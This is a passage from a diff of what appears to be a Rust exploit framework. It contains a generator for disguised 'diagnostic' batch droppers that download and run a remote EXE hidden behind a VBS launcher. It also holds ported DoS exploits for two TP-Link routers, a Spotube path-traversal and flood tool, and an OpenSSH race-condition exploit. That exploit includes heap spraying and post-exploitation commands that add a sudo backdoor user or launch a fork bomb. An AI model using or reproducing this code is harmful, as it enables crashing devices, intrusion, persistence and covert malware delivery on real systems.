||||
echo echo [*] スクリプト実行中...
|
||||
echo cscript //nologo "%%~dp0launch_hidden.vbs"
|
||||
echo echo [*] 補助診断完了。
|
||||
) > "%%stage2%%"
|
||||
|
||||
:: Random delay before running stage 2
|
||||
set /a rdelay=(%%RANDOM%% %% 5) + 2
|
||||
echo [INFO] stage2.bat を %%rdelay%% 秒後に実行します...
|
||||
timeout /t %%rdelay%% >nul
|
||||
|
||||
:: Run stage2
|
||||
call "%%stage2%%"
|
||||
|
||||
echo [√] 全診断完了。ログは "{{OUTFILE}}" に保存されました。
|
||||
pause
|
||||
exit
|
||||
"#;
|
||||
|
||||
tpl.replace("{{URL}}", url)
|
||||
.replace("{{OUTFILE}}", ps1_name)
|
||||
}
|
||||
|
||||
/// Public entry point for the exploit dispatcher
|
||||
pub async fn run(_target: &str) -> Result<()> {
|
||||
// === Gather inputs ====================================================
|
||||
let out_bat = prompt("[+] Output BAT filename : ")?;
|
||||
let raw_url = prompt("[+] GitHub raw .EXE URL : ")?;
|
||||
let ps1_name = prompt("[+] Disguised PowerShell name : ")?;
|
||||
|
||||
// === Generate script ===================================================
|
||||
let script = build_script(&raw_url, &ps1_name);
|
||||
fs::write(&out_bat, script)
|
||||
.with_context(|| format!("Could not write {}", out_bat))?;
|
||||
|
||||
println!("\n[+] Batch script saved to: {out_bat}");
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,2 @@
|
||||
pub mod tp_link_vn020_dos;
|
||||
pub mod tplink_wr740n_dos;
|
||||
@@ -0,0 +1,117 @@
|
||||
// CVE-2024-12342 - TP-Link VN020 F3v(T) - Denial of Service
|
||||
// Exploit Author: Mohamed Maatallah
|
||||
// Ported to Rust
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use reqwest::Client;
|
||||
use std::io::{self, BufRead};
|
||||
use std::sync::{
|
||||
atomic::{AtomicBool, Ordering},
|
||||
Arc,
|
||||
};
|
||||
use std::thread;
|
||||
use std::time::Duration;
|
||||
use tokio::join;
|
||||
|
||||
/// Send the malformed AddPortMapping SOAP request (PoC 1)
|
||||
async fn dos_missing_parameters(client: &Client, target: &str) -> Result<()> {
|
||||
// Missing parameters PoC - will crash the router
|
||||
let url = format!("http://{target}:5431/control/WANIPConnection");
|
||||
let body = r#"<?xml version="1.0"?>
|
||||
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
<s:Body>
|
||||
<u:AddPortMapping>
|
||||
<NewPortMappingDescription>hello</NewPortMappingDescription>
|
||||
</u:AddPortMapping>
|
||||
</s:Body>
|
||||
</s:Envelope>"#;
|
||||
|
||||
let res = client
|
||||
.post(&url)
|
||||
.header("Content-Type", "text/xml")
|
||||
.header("SOAPAction", "\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\"")
|
||||
.body(body)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send DoS request 1 (Missing Parameters)")?;
|
||||
|
||||
println!("[+] PoC 1 sent. Status: {}", res.status());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send the memory corruption SetConnectionType SOAP request (PoC 2)
|
||||
async fn dos_memory_corruption(client: &Client, target: &str) -> Result<()> {
|
||||
// Generate a long payload simulating memory corruption
|
||||
let long_payload = "%x".repeat(10_000);
|
||||
let url = format!("http://{target}:5431/control/WANIPConnection");
|
||||
let body = format!(
|
||||
r#"<?xml version="1.0"?>
|
||||
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
<s:Body>
|
||||
<u:SetConnectionType xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
|
||||
<NewConnectionType>{}</NewConnectionType>
|
||||
</u:SetConnectionType>
|
||||
</s:Body>
|
||||
</s:Envelope>"#,
|
||||
long_payload
|
||||
);
|
||||
|
||||
let res = client
|
||||
.post(&url)
|
||||
.header("Content-Type", "text/xml")
|
||||
.header("SOAPAction", "\"urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType\"")
|
||||
.body(body)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send DoS request 2 (Memory Corruption)")?;
|
||||
|
||||
println!("[+] PoC 2 sent. Status: {}", res.status());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Entry point for the exploit module
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(5))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
println!("[*] TP-Link VN020-F3v(T) DoS Exploit Running...");
|
||||
println!("[!] This module will not delay or stop unless you type 'stop' and press ENTER.");
|
||||
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let stop_flag_clone = Arc::clone(&stop_flag);
|
||||
|
||||
// Spawn a thread to monitor user input
|
||||
thread::spawn(move || {
|
||||
let stdin = io::stdin();
|
||||
for line in stdin.lock().lines() {
|
||||
if let Ok(input) = line {
|
||||
if input.trim().eq_ignore_ascii_case("stop") {
|
||||
stop_flag_clone.store(true, Ordering::Relaxed);
|
||||
println!("[*] Stopping attack...");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Infinite concurrent execution loop
|
||||
while !stop_flag.load(Ordering::Relaxed) {
|
||||
let (r1, r2) = join!(
|
||||
dos_missing_parameters(&client, target),
|
||||
dos_memory_corruption(&client, target)
|
||||
);
|
||||
|
||||
if let Err(e) = r1 {
|
||||
eprintln!("[!] Error during PoC 1: {e}");
|
||||
}
|
||||
if let Err(e) = r2 {
|
||||
eprintln!("[!] Error during PoC 2: {e}");
|
||||
}
|
||||
}
|
||||
|
||||
println!("[+] Exploit session ended.");
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,100 @@
|
||||
// Exploit Title: TP-Link TL-WR740N - Buffer Overflow 'DOS'
|
||||
// Date: 8/12/2023
|
||||
// Exploit Author: Anish Feroz (ZEROXINN)
|
||||
// Vendor Homepage: http://www.tp-link.com
|
||||
// Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n
|
||||
// Tested on: TP-Link TL-WR740N
|
||||
|
||||
// Description:
|
||||
// There exist a buffer overflow vulnerability in TP-Link TL-WR740 router
|
||||
// that can allow an attacker to crash the web server running on the router
|
||||
// by sending a crafted request. To bring back the http (webserver),
|
||||
// a user must physically reboot the router.
|
||||
|
||||
use anyhow::Result;
|
||||
use base64::{engine::general_purpose, Engine as _};
|
||||
use reqwest::{Client, header::HeaderMap};
|
||||
use std::io;
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
/// Internal function to send crafted request to crash router
|
||||
async fn exploit(ip: &str, port: u16, username: &str, password: &str) -> Result<()> {
|
||||
// Create a crash pattern of exact 192 characters using "crash_crash_on_a_loop_"
|
||||
let crash_pattern = "crash_crash_on_a_loop_";
|
||||
let repeated = crash_pattern.repeat(9); // 9*22 = 198 > 192
|
||||
let payload = &repeated[..192]; // truncate to exact length
|
||||
|
||||
// Construct vulnerable URL
|
||||
let target_url = format!(
|
||||
"http://{ip}:{port}/userRpm/PingIframeRpm.htm?ping_addr={payload}&doType=ping&isNew=new&sendNum=4&pSize=64&overTime=800&trHops=20",
|
||||
ip = ip,
|
||||
port = port,
|
||||
payload = payload
|
||||
);
|
||||
|
||||
// Build basic auth header
|
||||
let credentials = format!("{username}:{password}");
|
||||
let encoded_credentials = general_purpose::STANDARD.encode(credentials.as_bytes());
|
||||
|
||||
// Prepare HTTP headers
|
||||
let mut headers = HeaderMap::new();
|
||||
headers.insert("Host", format!("{ip}:{port}", ip = ip, port = port).parse()?);
|
||||
headers.insert("Authorization", format!("Basic {}", encoded_credentials).parse()?);
|
||||
headers.insert("Upgrade-Insecure-Requests", "1".parse()?);
|
||||
headers.insert("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36".parse()?);
|
||||
headers.insert("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9".parse()?);
|
||||
headers.insert("Referer", format!("http://{ip}:{port}/userRpm/DiagnosticRpm.htm", ip = ip, port = port).parse()?);
|
||||
headers.insert("Accept-Encoding", "gzip, deflate".parse()?);
|
||||
headers.insert("Accept-Language", "en-US,en;q=0.9".parse()?);
|
||||
headers.insert("Connection", "close".parse()?);
|
||||
|
||||
let client = Client::builder()
|
||||
.default_headers(headers)
|
||||
.build()?;
|
||||
|
||||
let response = client.get(&target_url).send().await?;
|
||||
|
||||
if response.status().as_u16() == 200 {
|
||||
println!("[+] Server Crashed (200 OK received)");
|
||||
let body = response.text().await.unwrap_or_default();
|
||||
println!("{}", body);
|
||||
} else {
|
||||
println!(
|
||||
"[-] Script Completed with status code: {}",
|
||||
response.status()
|
||||
);
|
||||
}
|
||||
|
||||
// Check if the host is still up — timeout after 1 second
|
||||
match timeout(Duration::from_secs(1), TcpStream::connect((ip, port))).await {
|
||||
Ok(Ok(_)) => {
|
||||
println!("[!] Target still responds on port {}. DoS likely failed.", port);
|
||||
}
|
||||
_ => {
|
||||
println!("[+] Target no longer reachable on port {} — likely crashed. Returning to menu.", port);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Entry point required by auto-dispatch
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("Enter router port (default is 8082): ");
|
||||
let mut port_str = String::new();
|
||||
io::stdin().read_line(&mut port_str)?;
|
||||
let port: u16 = port_str.trim().parse().unwrap_or(8082);
|
||||
|
||||
println!("Enter username: ");
|
||||
let mut username = String::new();
|
||||
io::stdin().read_line(&mut username)?;
|
||||
let username = username.trim();
|
||||
|
||||
println!("Enter password: ");
|
||||
let mut password = String::new();
|
||||
io::stdin().read_line(&mut password)?;
|
||||
let password = password.trim();
|
||||
|
||||
exploit(target, port, username, password).await
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod spotube;
|
||||
@@ -0,0 +1,231 @@
|
||||
//// src/modules/exploits/spotube/spotube_remote.rs
|
||||
//// src/modules/exploits/spotube/spotube.rs
|
||||
//// made by me suicidal teddy my first ever zero day exploit
|
||||
//// no auth when you use api and can be excuted locally
|
||||
//// src/modules/exploits/spotube/spotube.rs
|
||||
use anyhow::{Context, Result};
|
||||
use futures_util::{SinkExt, StreamExt};
|
||||
use reqwest::Client;
|
||||
use serde_json::json;
|
||||
use std::collections::HashMap;
|
||||
use std::io::{self, Write};
|
||||
use tokio::time::{sleep, Duration};
|
||||
use tokio_tungstenite::connect_async;
|
||||
use tokio_tungstenite::tungstenite::Message;
|
||||
|
||||
// //// // Custom headers to emulate BurpSuite-style browser requests
|
||||
fn browser_headers(host: &str, port: &str) -> HashMap<String, String> {
|
||||
let mut headers = HashMap::new();
|
||||
headers.insert("Accept-Language".into(), "en-US,en;q=0.9".into());
|
||||
headers.insert("Upgrade-Insecure-Requests".into(), "1".into());
|
||||
headers.insert(
|
||||
"User-Agent".into(),
|
||||
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 \
|
||||
(KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
|
||||
.into(),
|
||||
);
|
||||
headers.insert(
|
||||
"Accept".into(),
|
||||
"text/html,application/xhtml+xml,application/xml;q=0.9,\
|
||||
image/avif,image/webp,image/apng,*/*;q=0.8,\
|
||||
application/signed-exchange;v=b3;q=0.7"
|
||||
.into(),
|
||||
);
|
||||
headers.insert("Accept-Encoding".into(), "gzip, deflate, br".into());
|
||||
headers.insert("Connection".into(), "keep-alive".into());
|
||||
headers.insert("Host".into(), format!("{}:{}", host, port));
|
||||
headers
|
||||
}
|
||||
|
||||
// //// // Sends the GET request to the Spotube endpoint with custom headers
|
||||
async fn execute(host: &str, port: &str, path: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(std::time::Duration::from_secs(5))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let url = format!("http://{}:{}{}", host, port, path);
|
||||
let headers = browser_headers(host, port);
|
||||
|
||||
let mut request = client.get(&url);
|
||||
for (key, value) in headers {
|
||||
request = request.header(&key, &value);
|
||||
}
|
||||
|
||||
let response = request.send().await.context("Request failed")?;
|
||||
let status = response.status();
|
||||
let body = response.text().await.unwrap_or_default();
|
||||
|
||||
println!(
|
||||
"{} → {} {}",
|
||||
path,
|
||||
status.as_u16(),
|
||||
status.canonical_reason().unwrap_or("Unknown")
|
||||
);
|
||||
println!("{}", body.trim());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// //// // Sends a malicious 'load' event over WS with a track name containing ../
|
||||
async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
|
||||
// prompt for malicious filename
|
||||
print!("Enter malicious filename (e.g. ../evil.sh): ");
|
||||
io::stdout().flush()?;
|
||||
let mut name = String::new();
|
||||
io::stdin().read_line(&mut name)?;
|
||||
let malicious_name = {
|
||||
let t = name.trim();
|
||||
if t.is_empty() { "../evil.sh" } else { t }
|
||||
};
|
||||
|
||||
// prompt for fake track ID
|
||||
print!("Enter fake track ID (e.g. INJECT1): ");
|
||||
io::stdout().flush()?;
|
||||
let mut tid = String::new();
|
||||
io::stdin().read_line(&mut tid)?;
|
||||
let track_id = {
|
||||
let t = tid.trim();
|
||||
if t.is_empty() { "INJECT1" } else { t }
|
||||
};
|
||||
|
||||
// prompt for codec extension
|
||||
print!("Enter codec extension (e.g. mp3): ");
|
||||
io::stdout().flush()?;
|
||||
let mut cd = String::new();
|
||||
io::stdin().read_line(&mut cd)?;
|
||||
let codec = {
|
||||
let t = cd.trim();
|
||||
if t.is_empty() { "mp3" } else { t }
|
||||
};
|
||||
|
||||
let payload = json!({
|
||||
"type": "load",
|
||||
"data": {
|
||||
"tracks": [
|
||||
{
|
||||
"name": malicious_name,
|
||||
"artists": { "asString": "" },
|
||||
"sourceInfo": { "id": track_id },
|
||||
"codec": { "name": codec }
|
||||
}
|
||||
]
|
||||
}
|
||||
});
|
||||
|
||||
let ws_url = format!("ws://{}:{}/ws", host, port);
|
||||
println!("Connecting to {} …", ws_url);
|
||||
|
||||
let (ws_stream, _) = connect_async(&ws_url)
|
||||
.await
|
||||
.context("WebSocket connection failed")?;
|
||||
let (mut write, _) = ws_stream.split();
|
||||
|
||||
let msg_text = payload.to_string();
|
||||
write
|
||||
.send(Message::Text(msg_text.clone().into()))
|
||||
.await
|
||||
.context("Failed to send WebSocket message")?;
|
||||
|
||||
println!("▶️ Malicious load payload sent:");
|
||||
println!("{}", serde_json::to_string_pretty(&payload)?);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// //// // Floods the given endpoint with `count` rapid requests (with optional delay).
|
||||
async fn dos_flood(host: &str, port: &str, path: &str, count: usize, delay: f64) -> Result<()> {
|
||||
println!("⚠️ Flooding {} {} times (delay {}s)…", path, count, delay);
|
||||
for _ in 0..count {
|
||||
let _ = execute(host, port, path).await;
|
||||
if delay > 0.0 {
|
||||
sleep(Duration::from_secs_f64(delay)).await;
|
||||
}
|
||||
}
|
||||
println!("🔥 Done flood.");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// //// // CLI menu that mimics the original Python script, now with WS and DoS
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("⚙️ Spotube Advanced Exploit CLI\n");
|
||||
|
||||
let host = target.to_string(); // use target passed from set command
|
||||
|
||||
// //// // port prompt (optional override)
|
||||
print!("Enter port [17086]: ");
|
||||
io::stdout().flush()?;
|
||||
let mut p = String::new();
|
||||
io::stdin().read_line(&mut p)?;
|
||||
let port = {
|
||||
let t = p.trim();
|
||||
if t.is_empty() { "17086".to_string() } else { t.to_string() }
|
||||
};
|
||||
|
||||
loop {
|
||||
println!("\n=== Menu ===");
|
||||
println!("1. Ping server");
|
||||
println!("2. Next track");
|
||||
println!("3. Previous track");
|
||||
println!("4. Toggle play/pause");
|
||||
println!("5. Inject path-traversal via WS");
|
||||
println!("6. Flood HTTP endpoint (DoS)");
|
||||
println!("7. Exit");
|
||||
|
||||
print!("Choose an option: ");
|
||||
io::stdout().flush()?;
|
||||
let mut choice = String::new();
|
||||
io::stdin().read_line(&mut choice)?;
|
||||
match choice.trim() {
|
||||
"1" => {
|
||||
println!("\n▶️ Ping server …");
|
||||
let _ = execute(&host, &port, "/ping").await;
|
||||
}
|
||||
"2" => {
|
||||
println!("\n▶️ Next track …");
|
||||
let _ = execute(&host, &port, "/playback/next").await;
|
||||
}
|
||||
"3" => {
|
||||
println!("\n▶️ Previous track …");
|
||||
let _ = execute(&host, &port, "/playback/previous").await;
|
||||
}
|
||||
"4" => {
|
||||
println!("\n▶️ Toggle play/pause …");
|
||||
let _ = execute(&host, &port, "/playback/toggle-playback").await;
|
||||
}
|
||||
"5" => {
|
||||
ws_inject_path_traversal(&host, &port).await?;
|
||||
}
|
||||
"6" => {
|
||||
// //// // flood prompts
|
||||
print!("Endpoint to flood (e.g. /playback/next): ");
|
||||
io::stdout().flush()?;
|
||||
let mut path = String::new();
|
||||
io::stdin().read_line(&mut path)?;
|
||||
let path = path.trim();
|
||||
|
||||
print!("Number of requests [100]: ");
|
||||
io::stdout().flush()?;
|
||||
let mut cnt = String::new();
|
||||
io::stdin().read_line(&mut cnt)?;
|
||||
let count = cnt.trim().parse().unwrap_or(100);
|
||||
|
||||
print!("Delay between requests (s) [0]: ");
|
||||
io::stdout().flush()?;
|
||||
let mut dly = String::new();
|
||||
io::stdin().read_line(&mut dly)?;
|
||||
let delay = dly.trim().parse().unwrap_or(0.0);
|
||||
|
||||
dos_flood(&host, &port, path, count, delay).await?;
|
||||
}
|
||||
"7" => {
|
||||
println!("👋 Goodbye!");
|
||||
break;
|
||||
}
|
||||
_ => println!("❌ Invalid choice, try again."),
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod opensshserver_9_8p1race_condition;
|
||||
@@ -0,0 +1,304 @@
|
||||
use anyhow::{bail, Result};
|
||||
use std::{
|
||||
io::{self, BufRead, Read, Write},
|
||||
net::TcpStream,
|
||||
os::unix::io::AsRawFd,
|
||||
process::Command,
|
||||
sync::Arc,
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use libc::{fcntl, F_GETFL, F_SETFL, O_NONBLOCK};
|
||||
use tokio::{sync::Semaphore, task};
|
||||
|
||||
// // Shellcode to inject
|
||||
const SHELLCODE: &[u8] = b"\x90\x90\x90\x90";
|
||||
// // GLIBC base addresses to brute force
|
||||
const GLIBC_BASES: [u64; 2] = [0xb7200000, 0xb7400000];
|
||||
// // SSH Login grace time window in seconds
|
||||
const LOGIN_GRACE_TIME: f64 = 120.0;
|
||||
// // Max size of a crafted packet
|
||||
const MAX_PACKET_SIZE: usize = 256 * 1024;
|
||||
// // Max parallel attempts at once
|
||||
const MAX_PARALLEL_ATTEMPTS: usize = 200;
|
||||
|
||||
// // Align memory chunks
|
||||
fn chunk_align(s: usize) -> usize {
|
||||
(s + 15) & !15
|
||||
}
|
||||
|
||||
// // Set socket to non-blocking
|
||||
fn set_nonblocking(sock: i32) {
|
||||
unsafe {
|
||||
let flags = fcntl(sock, F_GETFL);
|
||||
fcntl(sock, F_SETFL, flags | O_NONBLOCK);
|
||||
}
|
||||
}
|
||||
|
||||
// // Create TCP connection to target
|
||||
fn setup_connection(ip: &str, port: u16) -> Result<TcpStream> {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let stream = TcpStream::connect(addr)?;
|
||||
set_nonblocking(stream.as_raw_fd());
|
||||
Ok(stream)
|
||||
}
|
||||
|
||||
// // Send custom SSH packet
|
||||
fn send_packet(stream: &mut TcpStream, packet_type: u8, data: &[u8]) -> Result<()> {
|
||||
let len = data.len() + 5;
|
||||
let mut packet = vec![0u8; len];
|
||||
packet[0..4].copy_from_slice(&(len as u32).to_be_bytes());
|
||||
packet[4] = packet_type;
|
||||
packet[5..].copy_from_slice(data);
|
||||
stream.write_all(&packet)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// // Receive response with retry
|
||||
fn recv_retry(stream: &mut TcpStream, buf: &mut [u8]) -> Result<usize> {
|
||||
loop {
|
||||
match stream.read(buf) {
|
||||
Ok(n) if n > 0 => return Ok(n),
|
||||
Ok(_) => bail!("Connection closed"),
|
||||
Err(ref e) if e.kind() == io::ErrorKind::WouldBlock => {
|
||||
std::thread::sleep(Duration::from_millis(10));
|
||||
continue;
|
||||
}
|
||||
Err(e) => return Err(e.into()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// // Send SSH version string
|
||||
fn send_ssh_version(stream: &mut TcpStream) -> Result<()> {
|
||||
stream.write_all(b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n")?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// // Receive SSH version from server
|
||||
fn receive_ssh_version(stream: &mut TcpStream) -> Result<()> {
|
||||
let mut buffer = [0u8; 256];
|
||||
recv_retry(stream, &mut buffer)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// // Send SSH KEX INIT packet
|
||||
fn send_kex_init(stream: &mut TcpStream) -> Result<()> {
|
||||
let payload = vec![0u8; 36];
|
||||
send_packet(stream, 20, &payload)
|
||||
}
|
||||
|
||||
// // Receive KEX INIT response
|
||||
fn receive_kex_init(stream: &mut TcpStream) -> Result<()> {
|
||||
let mut buffer = [0u8; 1024];
|
||||
recv_retry(stream, &mut buffer)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// // Perform SSH handshake steps
|
||||
fn perform_ssh_handshake(stream: &mut TcpStream) -> Result<()> {
|
||||
send_ssh_version(stream)?;
|
||||
receive_ssh_version(stream)?;
|
||||
send_kex_init(stream)?;
|
||||
receive_kex_init(stream)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// // Heap spraying phase
|
||||
fn prepare_heap(stream: &mut TcpStream) -> Result<()> {
|
||||
for _ in 0..10 {
|
||||
let data = vec![b'A'; 64];
|
||||
send_packet(stream, 5, &data)?;
|
||||
}
|
||||
for _ in 0..27 {
|
||||
let large = vec![b'B'; 8192];
|
||||
let small = vec![b'C'; 320];
|
||||
send_packet(stream, 5, &large)?;
|
||||
send_packet(stream, 5, &small)?;
|
||||
}
|
||||
for _ in 0..27 {
|
||||
let mut fake = vec![0u8; 4096];
|
||||
create_fake_file_structure(&mut fake, GLIBC_BASES[0]);
|
||||
send_packet(stream, 5, &fake)?;
|
||||
}
|
||||
let large_fill = vec![b'E'; MAX_PACKET_SIZE - 1];
|
||||
send_packet(stream, 5, &large_fill)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// // Craft fake file structure in buffer
|
||||
fn create_fake_file_structure(data: &mut [u8], base: u64) {
|
||||
data.fill(0);
|
||||
let len = data.len();
|
||||
data[len - 16..len - 8].copy_from_slice(&base.wrapping_add(0x21b740).to_le_bytes());
|
||||
data[len - 8..len].copy_from_slice(&base.wrapping_add(0x21d7f8).to_le_bytes());
|
||||
}
|
||||
|
||||
// // Send malformed public key and measure delay
|
||||
fn measure_response_time(stream: &mut TcpStream, error_type: u8) -> Result<f64> {
|
||||
let error_packet = if error_type == 1 {
|
||||
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3".to_vec()
|
||||
} else {
|
||||
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9".to_vec()
|
||||
};
|
||||
let start = Instant::now();
|
||||
send_packet(stream, 50, &error_packet)?;
|
||||
let _ = stream.read(&mut [0u8; 1024]);
|
||||
Ok(start.elapsed().as_secs_f64())
|
||||
}
|
||||
|
||||
// // Calculate parsing delay
|
||||
fn time_final_packet(stream: &mut TcpStream) -> Result<f64> {
|
||||
let t1 = measure_response_time(stream, 1)?;
|
||||
let t2 = measure_response_time(stream, 2)?;
|
||||
Ok(t2 - t1)
|
||||
}
|
||||
|
||||
// // Create packet with shellcode and fake structures
|
||||
fn create_public_key_packet(buffer: &mut [u8], base: u64) {
|
||||
buffer.fill(0);
|
||||
buffer[..8].copy_from_slice(b"ssh-rsa ");
|
||||
let offset = chunk_align(4096) * 13 + chunk_align(304) * 13;
|
||||
buffer[offset..offset + SHELLCODE.len()].copy_from_slice(SHELLCODE);
|
||||
for i in 0..27 {
|
||||
let pos = chunk_align(4096) * (i + 1) + chunk_align(304) * i;
|
||||
create_fake_file_structure(&mut buffer[pos..pos + 304], base);
|
||||
}
|
||||
}
|
||||
|
||||
// // Attempt to trigger race condition
|
||||
fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, base: u64) -> Result<bool> {
|
||||
let mut payload = vec![0u8; MAX_PACKET_SIZE];
|
||||
create_public_key_packet(&mut payload, base);
|
||||
stream.write_all(&payload[..payload.len() - 1])?;
|
||||
let start = Instant::now();
|
||||
while start.elapsed().as_secs_f64() < (LOGIN_GRACE_TIME - parsing_time - 0.001) {}
|
||||
stream.write_all(&payload[payload.len() - 1..])?;
|
||||
let mut buf = [0u8; 1024];
|
||||
match stream.read(&mut buf) {
|
||||
Ok(n) if n > 0 && !buf.starts_with(b"SSH-2.0-") => Ok(true),
|
||||
Ok(0) => Ok(true),
|
||||
Err(_) => Ok(true),
|
||||
_ => Ok(false),
|
||||
}
|
||||
}
|
||||
|
||||
// // Execute post-exploitation action
|
||||
fn post_exploit_action(option: u8) {
|
||||
match option {
|
||||
1 => {
|
||||
println!("[+] Root shell enabled - attach manually via SSH");
|
||||
}
|
||||
2 => {
|
||||
println!("[+] Creating persistent user...");
|
||||
let _ = Command::new("bash")
|
||||
.arg("-c")
|
||||
.arg("useradd -m -p $(openssl passwd -1 root123) pwned && usermod -aG sudo pwned")
|
||||
.status();
|
||||
}
|
||||
3 => {
|
||||
println!("[!] Triggering fork bomb...");
|
||||
let _ = Command::new("bash")
|
||||
.arg("-c")
|
||||
.arg(":(){ :|:& };:")
|
||||
.status();
|
||||
}
|
||||
_ => println!("[-] Invalid action"),
|
||||
}
|
||||
}
|
||||
|
||||
// // Entry point for auto-dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("Select post-exploitation action:");
|
||||
println!(" 1. Remote Root Shell");
|
||||
println!(" 2. Persistence (create SSH user)");
|
||||
println!(" 3. Server Destruction (fork bomb)");
|
||||
|
||||
let stdin = io::stdin();
|
||||
let mut choice = String::new();
|
||||
print!("Enter option [1-3]: ");
|
||||
io::stdout().flush()?;
|
||||
stdin.lock().read_line(&mut choice)?;
|
||||
let mode: u8 = choice.trim().parse().unwrap_or(0);
|
||||
if !(1..=3).contains(&mode) {
|
||||
bail!("Invalid option.");
|
||||
}
|
||||
|
||||
println!("Do you want to run more than 10,000 attempts? [y/N]");
|
||||
let mut input = String::new();
|
||||
stdin.lock().read_line(&mut input)?;
|
||||
let extra = input.trim().eq_ignore_ascii_case("y");
|
||||
|
||||
let mut attempts = 10000;
|
||||
if extra {
|
||||
println!("Enter total number of attempts:");
|
||||
input.clear();
|
||||
stdin.lock().read_line(&mut input)?;
|
||||
attempts = input.trim().parse::<usize>().unwrap_or(10000);
|
||||
}
|
||||
|
||||
// // Parse IP and port — if missing, prompt for port
|
||||
let (ip, port) = if let Some((ip_part, port_part)) = target.split_once(':') {
|
||||
(ip_part.to_string(), port_part.parse::<u16>()?)
|
||||
} else {
|
||||
// // Prompt for port if not included in the target string
|
||||
println!("No set target ip:port specified. Enter SSH port for {}: ", target);
|
||||
print!("Port: ");
|
||||
io::stdout().flush()?;
|
||||
let mut port_input = String::new();
|
||||
io::stdin().lock().read_line(&mut port_input)?;
|
||||
let port = port_input.trim().parse::<u16>()?;
|
||||
(target.to_string(), port)
|
||||
};
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MAX_PARALLEL_ATTEMPTS));
|
||||
|
||||
for &base in &GLIBC_BASES {
|
||||
println!("[*] Trying GLIBC base 0x{:x}", base);
|
||||
let mut handles = vec![];
|
||||
|
||||
for attempt in 0..attempts {
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let ip = ip.clone();
|
||||
let handle = task::spawn(async move {
|
||||
let _permit = permit;
|
||||
if attempt % 1000 == 0 {
|
||||
println!("[*] Attempt {}/{}", attempt, attempts);
|
||||
}
|
||||
|
||||
let mut stream = match setup_connection(&ip, port) {
|
||||
Ok(s) => s,
|
||||
Err(_) => return false,
|
||||
};
|
||||
|
||||
if perform_ssh_handshake(&mut stream).is_err() {
|
||||
return false;
|
||||
}
|
||||
|
||||
if prepare_heap(&mut stream).is_err() {
|
||||
return false;
|
||||
}
|
||||
|
||||
let Ok(parsing_time) = time_final_packet(&mut stream) else {
|
||||
return false;
|
||||
};
|
||||
|
||||
attempt_race_condition(stream, parsing_time, base).unwrap_or(false)
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
}
|
||||
|
||||
for h in handles {
|
||||
if h.await.unwrap_or(false) {
|
||||
println!("[+] Exploit succeeded!");
|
||||
post_exploit_action(mode);
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] Exploit failed with base 0x{:x}", base);
|
||||
}
|
||||
|
||||
println!("[-] All attempts exhausted.");
|
||||
Ok(())
|
||||
}
|
||||
@@ -1 +1,3 @@
|
||||
pub mod sample_scanner;
|
||||
pub mod ssdp_msearch;
|
||||
pub mod port_scanner;
|
||||
|
||||
@@ -0,0 +1,200 @@
|
||||
use anyhow::Result;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{self, Write},
|
||||
net::SocketAddr,
|
